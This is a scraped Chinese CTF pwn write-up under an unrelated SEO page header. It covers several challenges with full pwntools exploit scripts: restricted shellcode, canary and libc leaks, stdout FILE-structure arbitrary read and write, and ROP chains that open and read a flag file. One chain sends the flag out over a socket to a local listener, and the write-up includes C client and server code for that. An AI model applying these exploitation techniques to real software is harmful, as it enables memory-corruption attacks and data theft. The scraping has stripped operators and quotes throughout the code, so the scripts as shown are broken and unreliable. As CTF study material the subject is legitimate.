当前位置: 首页 > news >正文

网页特效源码网站提高wordpress+权重

网页特效源码网站,提高wordpress+权重,网站建设中问题分析与解决,百度网盟推广步骤文章目录 参考hide_flag思路exp Rand_file_dockerfile libc 2.31思路exp Appetizers glibc 2.35绕过关闭标准输出实例客户端 关闭标准输出服务端结果exp TTOCrv_#x1f3b2; glibc 2.35逆向DT_DEBUG获得各个库地址随机数思路exp 参考 https://docs.qq.com/doc/p/641e8742c39… 文章目录 参考hide_flag思路exp Rand_file_dockerfile libc 2.31思路exp Appetizers glibc 2.35绕过关闭标准输出实例客户端 关闭标准输出服务端结果exp TTOCrv_ glibc 2.35逆向DT_DEBUG获得各个库地址随机数思路exp 参考 https://docs.qq.com/doc/p/641e8742c39d16cd6d046b18bcb251fd3ab0cd6d hide_flag openpreadwrite即可 pread函数是Linux和其他类UNIX系统中用于文件输入输出的一个高级函数它允许应用程序在读取文件时指定一个相对于文件起点的绝对偏移量。 ssize_t pread(int fd, void *buf, size_t count, off_t offset); 要字节码与位置下标的奇偶性一样即按照偶奇偶奇来 所以sycall这种连续两个奇的就不行了只能用call去使用函数了jmp难回来 思路 刚进入shellcode时残留的寄存器和栈上的 pop push add sub mov xchg cmp shl xor call nop必须两个偶或者奇就填充一个不一样的但不影响的来满足偶奇利用残留的寄存器和栈上的凑出地址到寄存器里然后call 寄存器 exp from pwn import *context(archamd64,oslinux,log_leveldebug) libc ELF(./libc.so.6)p process(./pwn)gdb.attach(p) pause()#F1g520#open() pay #rax 0xea750 # 58 59 58 59 58 59 pay pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx; #rax 0x00007ffff7c29d90 # 4805 6ea70e01 482d 00010001 4883 c071 4883 c073 pay add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; #rax 0xf4d10 # 2c 01 2c 01 50 xx pay sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130; #rax libc_open # 48b9 4631 4067 3633 3001 (F1g520) 6a01 58 3d 3031 3233 48c1e02d 48c1e003 4891 4829c8 xx pay mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; # 4891 6a01 58 3d 3031 3233 48c1e025 48c1e003 4891 4829c8 pay xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; pay xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; # 56 59 50 54 5f 4889f0 51 pay pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx; #rdi-F1g520\0 # 4831f6 pay xor rsi,rsi; #rsi 0 # ffd0 open(buf,0) pay call rax; #call rax#pread rax rcx - 0x1e0b # 51 58 51 662d 001f 4883c059 pay push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67; #raxpread64 # 6a 03 90 5f 6a71 5a 53 90 59 90 pay push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop; #rdi3, rdx0x71 # ffd0 open(buf,0) pay call rax; #call rax#write rax rcx0x2126 # 51 58 51 662d2621 pay push rcx;pop rax;push rcx; add ax, 0x2126; #raxpread64 # 6a01 90 5f 90 pay push 1;nop;pop rdi;nop; # ffd0 open(buf,0) pay call rax; #call raxp.sendafter(bPlease find flags name\n, asm(pay))p.interactive() Rand_file_dockerfile libc 2.31 把open关了对read的文件描述符做了限制不能大于2用close把错误输出关了就行,这样就可以read新open的文件的了closeopenatreadwrite ptr ^ __readfsqword(0x28u);这一行从线程的特定位置读取一个 64 位值并将其与 ptr 进行异或操作。__readfsqword 是一个特殊的内联汇编指令用于读取一个 64 位值该值位于 FS 段寄存器所指向的地址上加上偏移量 0x28。FS 段寄存器通常用来访问当前线程的非分页内存区域比如 TLSThread Local Storage。 for ( i 0; i 3; i ) {v4 *((_BYTE *)ptr i);*((_BYTE *)ptr i) *((_BYTE *)ptr 7LL - i);*((_BYTE *)ptr 7LL - i) v4; }这是一个循环用于将 ptr 中的字节顺序反转。由于 ptr 是一个 64 位变量它由 8 个字节组成。循环从第 0 字节到第 3 字节进行迭代即前半部分每次迭代都会执行以下操作 将当前字节的值保存在 v4 中。将当前字节与对应的最后一个字节进行交换即 i 和 7 - i 位置的字节互换。通过将 v4 赋给 7 - i 位置的字节来完成字节的交换。 由于循环只运行了 4 次而 64 位值共有 8 个字节所以前 4 个字节和后 4 个字节分别在循环的前半部分和后半部分未显示通过交换实现了整个 64 位值的字节逆序。 fwrite(ptr, 1uLL, 8uLL, stdout); fflush(stdout);这两行代码将逆序后的 ptr 值写入标准输出流 stdout。fwrite 函数的第一个参数是指向要写入数据的指针第二个参数是每个元素的大小在这里每个字节是 1第三个参数是要写入的元素数量这里是 8第四个参数是目标文件流。fflush 则用于刷新输出缓冲区确保所有数据都被立即写出。 write(1, \n, 1uLL); return 0LL;write 函数用于向文件描述符 1通常代表标准输出 stdout写入一个换行符然后函数返回 0LL表示程序正常结束。 *a1 ^ *a2; 这一行使用异或运算符 ^ 将 a1 指向的值与 a2 指向的值进行异或操作并将结果存储回 a1 指向的位置。异或操作有这样一个性质任何数与自身进行异或操作的结果为零任何数与零进行异或操作的结果为其本身。 *a2 ^ *a1; 这里再次使用异或操作这次是在 a2 指向的值与现在 a1 指向的新值之间进行。由于 a1 现在的值实际上是 *a1 ^ *a2那么 (*a2) ^ (*a1 ^ *a2) 的结果将是 *a1 的原始值。这个结果现在存储到了 a2 指向的位置。 result a1; 这行代码实际上并不参与值的交换过程它只是将 a1 的值赋给了 result 变量。这里可能是为了返回一个值但实际上 result 的值并没有在交换过程中改变所以这行代码可能是为了符合函数声明的返回类型或者是出于其他目的如指示调用者哪个指针的值先被改变了。 *a1 ^ *a2; 最后一步再次执行异或操作这次是在 a1 指向的值与现在 a2 指向的新值之间。由于 a2 现在的值实际上是 a1 的原始值那么 (*a1 ^ *a2) ^ *a1 的结果将是 a2 的原始值。这个结果现在存储到了 a1 指向的位置。 setenv 函数在C编程语言中用于在进程中设置或修改环境变量。它在 stdlib.h 头文件中声明可以用来在程序运行时动态地改变环境变量的值。setenv 函数的原型如下 #include stdlib.hint setenv(const char *name, const char *value, int overwrite);函数的参数如下 name一个指向 char 类型的指针表示环境变量的名字。value一个指向 char 类型的指针表示环境变量的新值。overwrite一个 int 类型的值表示是否覆盖已存在的同名环境变量。如果此参数为非零值那么即使变量已经存在也会被覆盖如果为零且变量已存在那么函数将不做任何事。 函数的返回值是一个整数如果函数成功返回值为0如果失败则返回非零值。 下面是一个使用 setenv 函数的例子 #include stdlib.h #include stdio.hint main() {// 设置环境变量 TEST_VAR 为 Hello Worldif (setenv(TEST_VAR, Hello World, 1) ! 0) {perror(setenv error);return 1;}// 获取环境变量 TEST_VAR 的值并打印char *value getenv(TEST_VAR);if (value ! NULL) {printf(Environment variable TEST_VAR is set to: %s\n, value);} else {printf(Environment variable TEST_VAR is not set.\n);}return 0; }需要注意的是setenv 设置的环境变量仅在当前进程及其子进程中有效不会影响到父进程或其他无关进程的环境变量。此外当程序结束时这些环境变量也不会保存到系统中除非有其他的机制比如在脚本中重新设置环境变量将它们持久化。 思路 调试有点麻烦因为run里面嵌了个绝对地址是在搭建的镜像中的只能patch掉再在本地调试 通过swap实现交换栈上地址八个字节的内容 实现无限重复循环main函数 然后自己和自己交换就不变还是零此时会break然后通过下面和canary的异或可以泄露上面作为一系列泄露的最后部分 泄露libc地址最后交换到ptr位置然后控制好返回地址后再原位置交换然后输出和canary异或的结果通过之前已经泄露的canary不交换ptr的值0和canary异或的值还是canary再次异或得到原来结果 然后同样方式泄露stack地址 然后最妙的是通过call swap函数当前的栈上某个地址得到栈地址内容进行固定偏移得到下次循环时候swap的对应的ptr的地址然后通过libc地址得到stdout地址后计算到下次ptr的偏移就可以对stdout结构体修改 通过和stdout的内容交换来任意地址读将栈上存有大量的指向环境变量的栈地址某些栈地址对应的内容是到libc地址泄露出来从而得到大量栈地址并保存尾地址为合适的栈地址如需要修改第三个字节就寻找栈地址末尾为3或者b这往其交换时候此时最后一个字节正好是栈地址8的的第三个字节正好对应ptr和canary异或然后反转的最后一个字节也就是ptr的第一个字节 由于我们只能交换不能写唯一的输入机会就是call swap之前input由于swap函数和input函数是同一级的会存在栈帧重叠的部分所以我们可以通过input函数残留的变量然后通过swap来写其他位置对调用input的栈帧中残留的写入的变量进行利用swap写到栈上的另一个位置 构造pop rdi ret和gets函数地址写到返回地址然后输入rop 利用swap将当前栈上的libc地址和栈地址为3或b的地址5的位置交换然后利用swap交换_IO_write_ptr和_IO_write_end设置要写的栈上的地址控制好ptr的值使得经过异或后写的第八个高字节对应输入的第一个字节和canary异或正好修改残留的libc倒数的第三个字节然后同样方法修改第二个字节和第一个字节 stdout的任意写需要构造 fp - _IO_write_ptr和fp - _IO_write_end指向要写的位置。写的内容为要写入文件的变量的内容。偏移为0x28和0x30。 调用写入文件的一些函数例如fwrite、fputs。 当修改后需要将这个栈地址的内容和某个固定位置交换下来保存当要修改倒数第二个字节时需要找到末尾为2或者a的栈地址然后之前的保存的位置的内容和栈地址6的交换那么当从栈地址写入8个字节时即可修改栈地址6的第二个字节即在之前修改第三个字节基础上修改了第二个字节第一个字节同理。最后修改完成的libc地址也存到一个地方 利用swap将栈上的pie地址相关的内容和栈地址末尾为2或者a的地址5交换然后方法和上面一样最终要将其改成pop rdi ;ret对应的地址最后的地址也保存到一个地方 然后将保存的地址移动到返回地址处rdi参数构造为之前的泄露的栈地址。get函数后还是要交换为start函数地址因为输入rop后最后还要进入main函数进行交换操作到返回地址构成rop然后将rop输入到栈地址部分 最后先将栈地址开始处的文件名交换到固定位置然后将rop部分swap到栈的返回地址部分就行输入的rop 文件名closeorw exp from pwn import * import struct context(oslinux, archamd64, log_leveldebug) libc ELF(./libc.so.6) elf ELF(./pwn) p process(./change_run)def lg(msg, addrNone):if addr is not None:log.info(f{msg} {addr})else:log.info(msg) s lambda data : p.send(data) sl lambda data : p.sendline(data) sa lambda text, data : p.sendafter(text, data) sla lambda text, data : p.sendlineafter(text, data) r lambda : p.recv() ru lambda text : p.recvuntil(text) ia lambda : p.interactive()def swap(num1,num2):ru(b11? \n)s(str(num1))ru(b77! \n)s(str(num2))def leak(C, canary): # A^B C bytes_C C.to_bytes(8, byteorderlittle)swapped_bytes list(bytes_C)for i in range(4):swapped_bytes[i], swapped_bytes[7 - i] swapped_bytes[7 - i], swapped_bytes[i]reversed_bytes bytes(swapped_bytes)reversed_int int.from_bytes(reversed_bytes, byteorderlittle)original_data reversed_int ^ canaryreturn original_data# 泄露stack def get_now_stack_ptr(canary):swap(7,0)swap(5,12)swap(0,0)tmp u64(p.recv(8))stack_ptr_dbb8_daa0 leak(tmp,canary)stack_ptr stack_ptr_dbb8_daa0 -0x1f8 # 下一轮0x1f8lg(Now ptr is,hex(stack_ptr))return stack_ptr# find可用地址 def get_addr(io_s,canary): # 打印start_addr栈开始的所有内容now_ptr get_now_stack_ptr(canary)# 构造任意读offest_1 (io_s - now_ptr) // 8 # write_ptroffest_0 offest_1 - 1 # write_base offest__1 offest_0 - 2 # read_end offest_8 offest_1 7 # file_namelg(f({io_s} - {now_ptr})//8 {offest_1})swap(5,12)# 28swap(1,0) # ptr 1swap(offest__1,22) # write_base 0x7fff4db29ec0swap(offest_0,13) # write_ptr 0x7fff4db29ec0swap(offest_1,200) # write_end 0x7fff4db2ceecswap(offest_8,0) # file_name 1 swap(0,0)tmp p.recv(1000) # 接收1000字节print(tmp)addresses struct.unpack(125Q, tmp) memory_dict {i * 8: addr for i, addr in enumerate(addresses)}match_offsets_2a []match_offsets_19 []match_offsets_3b []for offset, addr in memory_dict.items():last_byte addr 0xFFif last_byte % 16 2 or last_byte % 16 10:print(fMatch the addr last is 2/a, found at stack offset: {hex(offset//8)} with address: {hex(addr)})match_offsets_2a.append((offset // 8, addr)) if last_byte % 16 1 or last_byte % 16 9:print(fMatch the addr last is 1/9, found at stack offset: {hex(offset//8)} with address: {hex(addr)})match_offsets_19.append((offset // 8, addr)) if last_byte % 16 3 or last_byte % 16 11:print(fMatch the addr last is 3/b, found at stack offset: {hex(offset//8)} with address: {hex(addr)})match_offsets_3b.append((offset // 8, addr)) return match_offsets_2a, match_offsets_19,match_offsets_3b# int _flags 0 # char* _IO_read_ptr; /* Current read pointer */ 8 # char* _IO_read_end; /* End of get area. */ 16 # char* _IO_read_base; /* Start of putbackget area. */ 24 # char* _IO_write_base; /* Start of put area. */ # char* _IO_write_ptr; /* Current put pointer. */ # char* _IO_write_end; /* End of put area. */ # char* _IO_buf_base; /* Start of reserve area. */ # char* _IO_buf_end; /* End of reserve area. */ # # # # # char *_IO_save_base; /* Pointer to start of non-current get area. */ # char *_IO_backup_base; /* Pointer to first valid character of backup area */ # char *_IO_save_end; /* Pointer to end of non-current get area. */ # ### # # int _fileno;# 在ptr内存中存储1个字节 def read_1(data,canary): # stack_ptr 6 feak_data leak(data,canary)lg(Need change bytes is ,hex(data))lg(feak_data is ,hex(feak_data))feak_data int(feak_data56)lg(The true byte is ,hex(feak_data))swap(-9,feak_data)swap(0,feak_data)def change_3(stack_start,addr_2a,addr_2a_offest,offset_bechange,data,io_s,canary,i): #修改倒数第三位字节print(addr_2a,addr_2a)now_ptr get_now_stack_ptr(canary)feak_data leak(data,canary)lg(Need change bytes is ,hex(data))lg(feak_data is ,hex(feak_data))feak_data int(feak_data56)lg(The true byte is ,hex(feak_data))swap(-9,feak_data)swap(0,feak_data)if offset_bechange ! 12 and offset_bechange ! 10:offset_bechange (stack_start-now_ptr) // 8# 先将要修改的内容change放到addr_2a 的addr_28,完整的下一个swap(5,12)addr_28 addr_2a - i%4 8offset_change_0 (addr_28 - now_ptr)// 8 print(stack_start,stack_start)print(addr_2a,addr_2a)print(addr_28,addr_28)print(addr_2a_offest,addr_2a_offest)swap(offset_bechange,offset_change_0) # 改io到特定地址io任一写offset_change_2 (stack_start-now_ptr) // 8 addr_2a_offest #末尾为2/a#store tmp to da90offest_1 (io_s - now_ptr) // 8 # ptroffest_2 offest_1 1 # end# offest_0 offest_1 - 1 # write_slg(f({io_s} - {now_ptr})//8 {offest_1})swap(offest_1,offset_change_2) # weite_ptrswap(offest_2,offset_change_210*i) #warte_end swap(0,0)#将换完的内容放到固定位置now_ptr - 224 offset_change_0 (addr_28 - now_ptr)// 8swap(5,12)swap(offset_change_0,(stack_start-now_ptr) // 8) #放到固定栈那里swap(0,0)# 泄露canary swap(5,12) swap(0,0) canary u64(p.recv(8)) lg(canary is,hex(canary))# 泄露io_addr swap(-2,0) swap(5,12) swap(0,0) tmp u64(p.recv(8)) libc_902e8 leak(tmp,canary)stdout libc_902e8 - (0x902e8-0x8c6a0) write_s stdout 8*5 #0x28 write_e stdout 8*6 #0x30 lg(stdout is,hex(stdout))#指向环境变量的栈地址以不同字节结尾 swap(5,12) swap(13,0) swap(0,0) tmp u64(p.recv(8)) leak_stack leak(tmp,canary) print(leak_stack,hex(leak_stack))# match_offsets_2a, match_offsets_19,match_offsets_3b get_addr(write_s,canary) addr_1_offest,addr_1 match_offsets_19[1] addr_2_offest,addr_2 match_offsets_2a[1] addr_3_offest,addr_3 match_offsets_3b[1] lg(use 19 is :,hex(addr_1)) lg(use 2a is :,hex(addr_2)) lg(use 3b is :,hex(addr_3))# 泄露libcbase swap(5,12) swap(0,12) swap(0,0) tmp u64(p.recv(8)) libc_start_243 leak(tmp,canary) libcbase libc_start_243 - libc.sym[__libc_start_main] - 243 lg(libcbase is,hex(libcbase))gets_addr libcbaselibc.sym[gets] change_num gets_addr 0xFFFFFF lg(the change 3 bytes for libcstart ,hex(change_num)) high_byte (change_num 16) 0xFF next_byte (change_num 8) 0xFF last_bytes change_num 0xFFchange_3(leak_stack,addr_3,addr_3_offest,12,high_byte,write_s,canary,3) #改libc的倒数第三个字节 change_3(leak_stack,addr_2,addr_2_offest,0,next_byte,write_s,canary,2) # 修改倒数第二个字节 change_3(leak_stack,addr_1,addr_1_offest,0,last_bytes,write_s,canary,1) # 修改最后个字节 #存储libc_在栈地址now_ptr get_now_stack_ptr(canary) gets_addr leak_stack - 16 swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-2) lg(gets_addr is,hex(gets_addr))# pie swap(5,12) swap(0,9) swap(0,0) tmp u64(p.recv(8)) main_153c leak(tmp,canary) mainbase main_153c - 0x153c lg(mainbase is,hex(mainbase))pop_rdi mainbase 0x1753 change_pop pop_rdi 0xFFFF next_byte (change_pop 8) 0xFF last_byte change_pop 0xFF lg(the change 2 bytes for pop_rdi ,hex(change_pop))addr_1_offest,addr_1 match_offsets_19[2] addr_2_offest,addr_2 match_offsets_2a[2] lg(use 19 is :,hex(addr_1)) lg(use 2a is :,hex(addr_2))change_3(leak_stack,addr_2,addr_2_offest,10,next_byte,write_s,canary,6) # 修改倒数第二个字节change_3(leak_stack,addr_1,addr_1_offest,0,last_byte,write_s,canary,5) # 修改最后两个字节 #存储libc_在栈地址now_ptr get_now_stack_ptr(canary) pop_rdi_addr leak_stack - 24 swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-3) lg(pop_rdi_addr is,hex(pop_rdi_addr))swap(5,(leak_stack-now_ptr) // 8-3) # pop_rdi swap(6,13) # stack swap(7,(leak_stack-now_ptr) // 8-2) # libc_getsswap(8,12) # libc_mainswap(0,0) lg(Wait set rop)pop_rdi libcbase 0x23b6a pop_rdx_r12 libcbase 0x119431 pop_rsi libcbase 0x2601f pop_rax libcbase 0x36174 pop_rdx_rbx libcbase 0x15fae6 syscall libcbase 0x630a9 reads libcbaselibc.sym[read] openat libcbaselibc.sym[openat] writes libcbaselibc.sym[write]payload (b./flag).ljust(8,b\x00) p64(pop_rdi) p64(2) p64(pop_rax) p64(3) p64(syscall) payload p64(pop_rdi) p64(0xffffff9c) p64(pop_rsi) p64(leak_stack) p64(pop_rdx_rbx) p64(0x100) * 2 p64(pop_rax) p64(257) p64(syscall) payload p64(pop_rdi) p64(2) p64(pop_rsi)p64(leak_stack)p64(pop_rdx_r12)p64(0x20)p64(0)p64(reads) payload p64(pop_rdi) p64(1) p64(pop_rsi)p64(leak_stack)p64(pop_rdx_r12)p64(0x20)p64(0)p64(writes)sl(payload)now_ptr get_now_stack_ptr(canary) offset (leak_stack - now_ptr) // 8# gdb.attach(p) # pause()for i in range(len(payload) // 8 ):swap(i offset , 5 i)swap(0,0)ia() Appetizers glibc 2.35 openread(count0x9j就行)write 原始的stdout-write_ptr和 stout-write_base相等因为无缓冲模式然后单字节高位改变stdout-write_ptr增大 从而泄露栈地址和heap地址 绕过关闭标准输出实例 由于关闭了标准输出和输入此时openread将flag读到内存中了此时需要将flag从内存输出由于关闭标准输出并且也不能重新打开标准输出重定向也不可。所以需要socket连接到本地的一个socker此时新建socker然后连接本地的然后再将flag写到这个连接从而写到本地的服务socket中。 客户端 关闭标准输出 #include stdio.h #include stdlib.h #include string.h #include unistd.h #include arpa/inet.h #include sys/socket.h#define PORT 8080 #define BUFFER_SIZE 1024int main() {int sock 0;struct sockaddr_in serv_addr;char buffer[BUFFER_SIZE] {0};char *message flag{zhiyinnitaimei};// 创建socketif ((sock socket(AF_INET, SOCK_STREAM, 0)) 0) {perror(Socket creation error);return -1;}serv_addr.sin_family AF_INET;serv_addr.sin_port htons(PORT);// 将IP地址从字符串转换为二进制形式if(inet_pton(AF_INET, 127.0.0.1, serv_addr.sin_addr) 0) {perror(Invalid address/ Address not supported);return -1;}// 连接到服务器if (connect(sock, (struct sockaddr *)serv_addr, sizeof(serv_addr)) 0) {perror(Connection Failed);return -1;}// 使用write发送消息close(1);ssize_t bytes_written write(sock, message, strlen(message));if (bytes_written 0) {perror(Write failed);return -1;}printf(Message sent: %s\n, message);printf(Bytes written: %zd\n, bytes_written);// 接收服务器的回显ssize_t bytes_read read(sock, buffer, BUFFER_SIZE - 1);if (bytes_read 0) {perror(Read failed);return -1;}buffer[bytes_read] \0; // 确保字符串正确终止printf(Server echo: %s\n, buffer);printf(Bytes read: %zd\n, bytes_read);// 关闭socketclose(sock);return 0; }服务端 #include stdio.h #include stdlib.h #include string.h #include unistd.h #include arpa/inet.h #include sys/socket.h#define PORT 8080 #define BUFFER_SIZE 1024int main() {int server_fd, new_socket;struct sockaddr_in address;int opt 1;int addrlen sizeof(address);char buffer[BUFFER_SIZE] {0};// 创建socket文件描述符if ((server_fd socket(AF_INET, SOCK_STREAM, 0)) 0) {perror(socket failed);exit(EXIT_FAILURE);}// 设置socket选项if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, opt, sizeof(opt))) {perror(setsockopt);exit(EXIT_FAILURE);}address.sin_family AF_INET;address.sin_addr.s_addr INADDR_ANY;address.sin_port htons(PORT);// 绑定socket到指定端口if (bind(server_fd, (struct sockaddr *)address, sizeof(address)) 0) {perror(bind failed);exit(EXIT_FAILURE);}// 开始监听连接if (listen(server_fd, 3) 0) {perror(listen);exit(EXIT_FAILURE);}printf(Server listening on port %d\n, PORT);while(1) {// 接受新的连接if ((new_socket accept(server_fd, (struct sockaddr *)address, (socklen_t*)addrlen)) 0) {perror(accept);exit(EXIT_FAILURE);}// 读取客户端消息int valread read(new_socket, buffer, BUFFER_SIZE);printf(Received: %s\n, buffer);// 发送回显消息send(new_socket, buffer, strlen(buffer), 0);printf(Echo message sent\n);close(new_socket);}return 0; } 结果 exp 最后写rop在mmap位置然后写stack然后栈迁移栈地址也大于0x70FFFFFFFFFFLL最后rop openreadsockerconnectwrite from pwn import *s lambda data :io.send(data) sa lambda delim,data :io.sendafter(str(delim), data) sl lambda data :io.sendline(data) sla lambda delim,data :io.sendlineafter(str(delim), data) r lambda num :io.recv(num) rl lambda :io.recvline() ru lambda delims, dropTrue :io.recvuntil(delims, drop) itr lambda :io.interactive() uu32 lambda data :u32(data.ljust(4,b\x00)) uu64 lambda data :u64(data.ljust(8,b\x00)) ls lambda data :log.success(data) lss lambda s :log.success(\033[1;31;40m%s -- 0x%x \033[0m % (s, eval(s)))context.arch amd64 context.log_level debuglibc ELF(./libc.so.6) io process(./pwn)stdout_offset 0x220780 0x280x1 # change 0x28 _IO_write_ptrio.sendafter(bstart.,p8(0xbb^0xb8) p64(stdout_offset)) # sendline result in next while break io.recv(5) data b while(1):dd io.recv(timeout1)if ddb:breakdata ddprint(data,data)libc_base u64(data[0x5:0xb].ljust(8,b\x00)) -0x1ca70-0x200000 stack u64(data[0x21d:0x21d6].ljust(8,b\x00))print(libc_base,hex(libc_base)) print(stack,hex(stack))libc.address libc_base libc_ropROP(libc) pop_rax libc_base0x0000000000045eb0 pop_rdi libc_base0x000000000002a3e5 pop_rsi libc_base0x000000000002be51 pop_rdx libc_base0x00000000000904a9 leave_ret libc_base0x000000000004da83 syscall_ret libc_rop.find_gadget([syscall,ret])[0]print(pop_rax,hex(pop_rax)) print(pop_rdi,hex(pop_rdi)) print(pop_rsi,hex(pop_rsi)) print(pop_rdx,hex(pop_rdx)) print(leave_ret,hex(leave_ret)) print(syscall_ret,hex(syscall_ret))def syscall(rax0, rdi0, rsi0, rdx0):pay p64(pop_rax) p64(rax)pay p64(pop_rdi) p64(rdi)pay p64(pop_rsi) p64(rsi)pay p64(pop_rdx) p64(rdx) * 2pay p64(syscall_ret)return paydef read_(fd, buf, count): return syscall(0, fd, buf, count) def write(fd, buf, count): return syscall(1, fd, buf, count) def open_(filename0, modes0, flags0): return syscall(2, filename, modes, flags) def socket_(domain2,TYPE1,protocol0): return syscall(0x29,domain, TYPE, protocol) def connect_(fd0,addr0,LEN0x10): return syscall(0x2a,fd, addr, LEN)# # 0x0100007f901f0002 ip port v # def socket(d, t, p): # return syscall(0x29, 0x2, 0x1, 0)cmd b./flag\x00 for i in range(len(cmd)):io.send(p8(cmd[i]) p64(0x100i))flag_str_addr libc_base - 0x5000 0x100# ## write ip port cmd p64(0x0100007f901f0002) for i in range(len(cmd)):io.send(p8(cmd[i]) p64(0x180i))ip_port_addr libc_base - 0x5000 0x180# rop rop open_(flag_str_addr, 0,0) # /flag fd 0 rop read_(0,flag_str_addr,0x50) # rop socket_() # fd 1 rop connect_(1,ip_port_addr, 0x10) # socker connect to socket rop write(1,flag_str_addr,0x50) # cmd rop for i in range(len(cmd)):io.send(p8(cmd[i]) p64(0x200i))gdb.attach(io) pause()#leave stack ret_stack stack - 0x120offset ret_stack - (libc_base-0x5000) io.send(p8(0x6b^0x7f) p64(offset))ordrbp_pos stack - 0x128 old_rbpstack-0x118 offset ordrbp_pos-(libc_base-0x5000) newrbp libc_base - 0x5000 0x200 - 8 rop p64(newrbp ^ old_rbp)cmd rop for i in range(len(cmd)):io.send(p8(cmd[i]) p64(offseti))io.sendline(b)io.interactive()TTOCrv_ glibc 2.35 openatreadwrite 逆向 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) {__int64 buf; // [rsp0h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp8h] [rbp-8h]v4 __readfsqword(0x28u);sandbox_0();while ( 1 ){do{while ( 1 ){menu();puts();buf 0LL;read(0, buf, 7uLL);if ( buf ! {}\n )break;dele();}}while ( buf (unsigned __int64){}\n );if ( buf db\n )break;if ( buf (unsigned __int64)db\n ){if ( buf bd\n ){nouse(); // no use}else if ( buf (unsigned __int64)bd\n ){if ( buf TF\n ){show();}else if ( buf (unsigned __int64)TF\n ){if ( buf PF\n ){show_edit_name();}else if ( buf (unsigned __int64)PF\n ){if ( buf H\n ){new();}else if ( buf NC\n ){edit();}}}}}}exit(0LL); }chunk_array没有清零double free 可以show after free根据每个字节的低四位和高四位分别与基础字符相加然后打印出字节的字符 由于清不了零这里只能new 4次 edit after free 上述idx都没有检查存在越界读或写但如果要往负的越界写由于只能输入7个字节负数需要最高的第八个字节为ff这里需要利用到先调用nouse这个函数输入满\XFF然后再调用输入函数时会将残留的ff包括在内这样加上原来的7个字节才能组成负数 DT_DEBUG获得各个库地址 通过DT_DEBUG来获得各个库的基址 里DT_DEBUG的值是0。在实际运行时DT_DEBUG的值是指向struct r_debug的指针 struct r_debug{ int r_version; /* Version number for this protocol. */struct link_map *r_map; /* Head of the chain of loaded objects. *//* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ElfW(Addr) r_brk;enum{ /* This state value describes the mapping change taking place when the r_brk address is called. */RT_CONSISTENT, /* Mapping change is complete. */RT_ADD, /* Beginning to add a new object. */RT_DELETE /* Beginning to remove an object mapping. */} r_state;ElfW(Addr) r_ldbase; /* Base address the linker is loaded at. */};struct link_map{/* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */char *l_name; /* Absolute file name object was found in. */ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */struct link_map *l_next, *l_prev; /* Chain of loaded objects. */};遍历link_map对比l_name找到目标之后就可以通过l_addr获得那个库的基址当然前提是二进制文件需要有DT_DEBUG。 通过show先泄露r_debug地址ld地址 遍历linkmap寻找后发现libc的link_map与泄露的ld地址有固定偏移然后计算偏移下次show即可泄露感觉泄露libc地址直接输出got表就行 随机数 struct random_data *buf: 包含随机数生成器状态的结构体。int32_t *result: 指向存储生成的随机数的变量。 int __random_r (struct random_data *buf, int32_t *result) {int32_t *state;if (buf NULL || result NULL)goto fail;state buf-state;if (buf-rand_type TYPE_0){int32_t val ((state[0] * 1103515245U) 12345U) 0x7fffffff;state[0] val;*result val;}else{int32_t *fptr buf-fptr;int32_t *rptr buf-rptr;int32_t *end_ptr buf-end_ptr;uint32_t val;val *fptr (uint32_t) *rptr;/* Chucking least random bit. */*result val 1;fptr;if (fptr end_ptr){fptr state;rptr;}else{rptr;if (rptr end_ptr)rptr state;}buf-fptr fptr;buf-rptr rptr;}return 0;fail:__set_errno (EINVAL);return -1; }weak_alias (__random_r, random_r)#define TYPE_3 3 #define BREAK_3 128 #define DEG_3 31 #define SEP_3 3static struct random_data unsafe_state { /* FPTR and RPTR are two pointers into the state info, a front and a rearpointer. These two pointers are always rand_sep places apart, as theycycle through the state information. (Yes, this does mean we could getaway with just one pointer, but the code for random is more efficientthis way). The pointers are left positioned as they would be from the call:initstate(1, randtbl, 128);(The position of the rear pointer, rptr, is really 0 (as explained abovein the initialization of randtbl) because the state table pointer is setto point to randtbl[1] (as explained below).) */.fptr randtbl[SEP_3 1],.rptr randtbl[1],/* The following things are the pointer to the state information table,the type of the current generator, the degree of the current polynomialbeing used, and the separation between the two pointers.Note that for efficiency of random, we remember the first location ofthe state information, not the zeroth. Hence it is valid to accessstate[-1], which is used to store the type of the R.N.G.Also, we remember the last location, since this is more efficient thanindexing every time to find the address of the last element to see ifthe front and rear pointers have wrapped. */.state randtbl[1],.rand_type TYPE_3,.rand_deg DEG_3,.rand_sep SEP_3,.end_ptr randtbl[sizeof (randtbl) / sizeof (randtbl[0])] };参考汇编和源码后大致逻辑如下 rand_type默认为TYPE_3故不是直接采用线性同余产生随机数队头fptr 自加队尾值rptr 将此值保存为结果然后队头队尾统一后移一项再将结果作为生成的随机数返回即可。fptr刚开始为第4个总共32个所以需要调用rand很多次才可能进入fptr end_ptr所以当前edit可以认为都是else情况 调用一次rand后fptr 和rptr 都后移四 这里泄露fptr 和rptr 和fptr 0x10的内容(正好八个) 思路 size是0x90free一个然后show可以泄露heap地址nouse输满\xff然后show负越界泄露pie地址进而能够得到heap_list的起始地址 